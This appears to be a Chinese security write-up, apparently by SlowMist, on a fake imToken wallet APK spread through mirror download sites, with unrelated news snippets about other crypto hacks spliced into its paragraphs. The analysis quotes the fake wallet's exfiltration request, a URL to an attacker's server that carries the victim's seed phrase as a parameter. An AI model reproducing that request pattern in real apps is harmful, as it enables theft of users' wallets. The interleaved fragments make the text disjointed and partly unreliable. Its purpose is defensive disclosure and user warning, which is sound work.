原文作者:?山&耀
技术的Web3正在驱动下一代技术革命，越来越多的人开始参与到这场加密浪潮中，但Web3与Web2是两个截然不同的世界。Web3世界是一个充满着各种各样的机遇以及危险的黑暗森林，身处Web3世界中，钱包则是进入Web3世界的入口以及通行证。
当你通过钱包在Web3世界中探索体验诸多的区块链相关应用和网站的过程中，你会发现在一条公链上每个应用都是使用钱包“登录”；这与我们传统意义上的“登录”不同，在Web2世界中，每个应用之间的账户不全是互通的。但在Web3的世界中，所有应用都是统一使用钱包去进行“登录”，我们可以看到“登录”钱包时显示的不是“LoginwithWallet”，取而代之的是“ConnectWallet”。而钱包是你在Web3世界中的唯一通行证。
慢雾：警惕针对 Blur NFT 市场的批量挂单签名“零元购”钓鱼风险:金色财经报道，近期，慢雾生态安全合作伙伴 Scam Sniffer 演示了一个针对 Blur NFT 市场批量挂单签名的“零元购”钓鱼攻击测试，通过一个如图这样的“Root 签名”即可以极低成本（特指“零元购”）钓走目标用户在 Blur 平台授权的所有 NFT，Blur 平台的这个“Root 签名”格式类似“盲签”，用户无法识别这种签名的影响。慢雾安全团队验证了该攻击的可行性及危害性。特此提醒 Blur 平台的所有用户警惕，当发现来非 Blur 官方域名(blur.io)的“Root 签名”，一定要拒绝，避免潜在的资产损失。[2023/3/7 12:46:39]
俗话说高楼之下必有阴影，在如此火热的Web3世界里，钱包作为入口级应用，自然也被黑灰产业链盯上。
慢雾：pGALA合约黑客已获利430万美元:11月4日消息，安全团队慢雾在推特上表示，pGALA合约黑客已将大部分GALA兑换成13,000枚BNB，获利超430万美元，该地址仍有450亿枚Gala，但不太可能兑现，因为资金池基本已耗尽。此外，黑客的初始资金来自几个币安账户。
今日早些时候消息，一个BNB Chain上地址在BNB Chain上地址凭空铸造了超10亿美元的pGALA代币，并通过在PancakeSwap上售出获利。pNetwork表示此为跨链桥配置错误所致，GALA跨链桥已暂停，请用户不要在BNB Chain上DEX中交易pGALA。[2022/11/4 12:16:04]
在Android环境下，由于很多手机不支持GooglePlay或者因为网络问题，很多人会从其他途径下载GooglePlay的应用，比如：apkcombo、apkpure等第三方下载站，这些站点往往标榜自己App是从GooglePlay镜像下载的，但是其真实安全性如何呢？
慢雾：Transit Swap黑客攻击交易被抢跑，套利机器人获利超100万美元:10月1日消息，据慢雾安全团队情报，Transit Swap 黑客转移用户 BSC 链 BUSD 资产时被套利机器人抢跑，区块高度为21816885，获利107万BUSD。套利机器人相关地址列表如下：0xa957...70d2、0x90b5...8ff4、0xcfb0...7ac7、
截止到目前，在各方的共同努力下，黑客已将 70% 左右的被盗资产退还到Transit Swap开发者地址，建议套利机器人所属人同样通过service@transit.finance或链上地址与Transit Swap取得联系，共同将此次被盗事件的受害用户损失降低到最小。[2022/10/2 18:37:44]
据数据统计站点similarweb统计，apkcombo站点：
慢雾：AToken钱包疑似遭受攻击 用户反馈钱包中资产被盗:据慢雾区情报，近期 AToken 钱包(atoken.com)疑似遭受到攻击，用户在使用 AToken 钱包后，币被偷偷转移走。目前已经有较多的用户反馈钱包中的资产被盗。AToken 钱包官方推特在2021年12月20日发布了停止运营的声明。官方 TG 频道中也有多位用户反馈使用 AToken 钱包资产被盗了，但是并没有得到 AToken 团队的回复和处理。
如果有使用 AToken 钱包的用户请及时转移资产到安全的钱包中。具体可以参考如下操作：
1. 立即将 AToken 钱包中的相关的资产转移到新的钱包中。
2. 废弃导入 AToken 或者使用 AToken 生成的助记词或私钥的钱包。
3. 参考慢雾安全团队梳理的数字资产安全解决方案，对数字资产进行妥善的管理。
4. 留存相应有问题的 AToken 钱包 APP 的安装包，用于后续可能需要的取证等操作。
5. 如果资产已经被盗，可以先梳理被盗事件的时间线，以及黑客的相关地址 MistTrack 可以协助挽回可能的一线希望。[2022/2/9 9:39:46]
全球排名：?1,?809?
国家排名：?7,?370?
品类排名：?168?
我们可以看到它的影响力和流量都非常大。
它默认提供了一款chromeAPK下载插件，我们发现这款插件的用户数达到了10W：
那么回到我们关注的Web3领域中钱包方向，用户如果从这里下载的钱包应用安全性如何？
我们拿知名的imToken钱包为例，其GooglePlay的正规下载途径为：
https://play.google.com/store/apps/details??id=im.token.app
由于很多手机不支持GooglePlay或者因为网络问题，很多人会从这里下载GooglePlay的应用。
而apkcombo镜像站的下载路径为：
https://apkcombo.com/downloader/#package=im.token.app
上图我们可以发现，apkcombo提供的版本为24.9.11?，经由imToken确认后，这是一个并不存在的版本！证实这是目前市面上假imToken钱包最多的一个版本。
在编写本文时imToken钱包的最新版本为2.11.3?，此款钱包的版本号很高，显然是为了伪装成一个最新版本而设置的。
如下图，我们在apkcombo上发现，此假钱包版本显示下载量较大，此处的下载量应该是爬取的GooglePlay的下载量信息，安全起见，我们觉得有必要披露这个恶意App的来源，防止更多的人下载到此款假钱包。
同时我们发现类似的下载站还有如：uptodown
下载地址：https://imtoken.br.uptodown.com/android
我们发现uptodown任意注册即可发布App，这导致钓鱼的成本变得极低：
慢雾：假钱包App已致上万人被盗，损失高达十三亿美元》，所以在此不再赘述。
我们仅对apkcombo提供版本为24.9.11这款假钱包进行分析，在开始界面创建钱包或导入钱包助记词时，虚假钱包会将助记词等信息发送到钓鱼网站的服务端去，如下图：
根据逆向APK代码和实际分析流量包发现，助记词发送方式：
https://api.funnel.rocks/api/trust??aid=?10&wt=?1&os=?1&key=<助记词>
看下图，最早的“api.funnel.rocks”证书出现在2022-06-03?，也就是攻击开始的大概时间：
俗话说一图胜千言，最后我们画一个流程图：
交易所时请认准官方下载渠道并从多方进行验证；如果你的钱包从上述镜像站下载，请第一时间转移资产并卸载该软件，必要时可通过官方验证通道核实。
同时，如需使用钱包，请务必认准以下主流钱包App官方网址：
1?/imToken钱包：https://token.im/
2?/TokenPocket钱包：https://www.tokenpocket.pro/
3?/TronLink钱包：https://www.tronlink.org/
4?/比特派钱包：https://bitpie.com/
5?/MetaMask钱包：https://metamask.io/
6?/TrustWallet：https://trustwallet.com/
请持续关注慢雾安全团队，更多Web3安全风险分析与告警正在路上。
致谢：感谢在溯源过程中imToken官方提供的验证支持。
由于保密性和隐私性，本文只是冰山一角。慢雾在此建议，用户需加强对安全知识的了解，进一步强化甄别网络钓鱼攻击的能力等，避免遭遇此类攻击。更多的安全知识建议阅读慢雾出品的《区块链黑暗森林自救手册》。
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。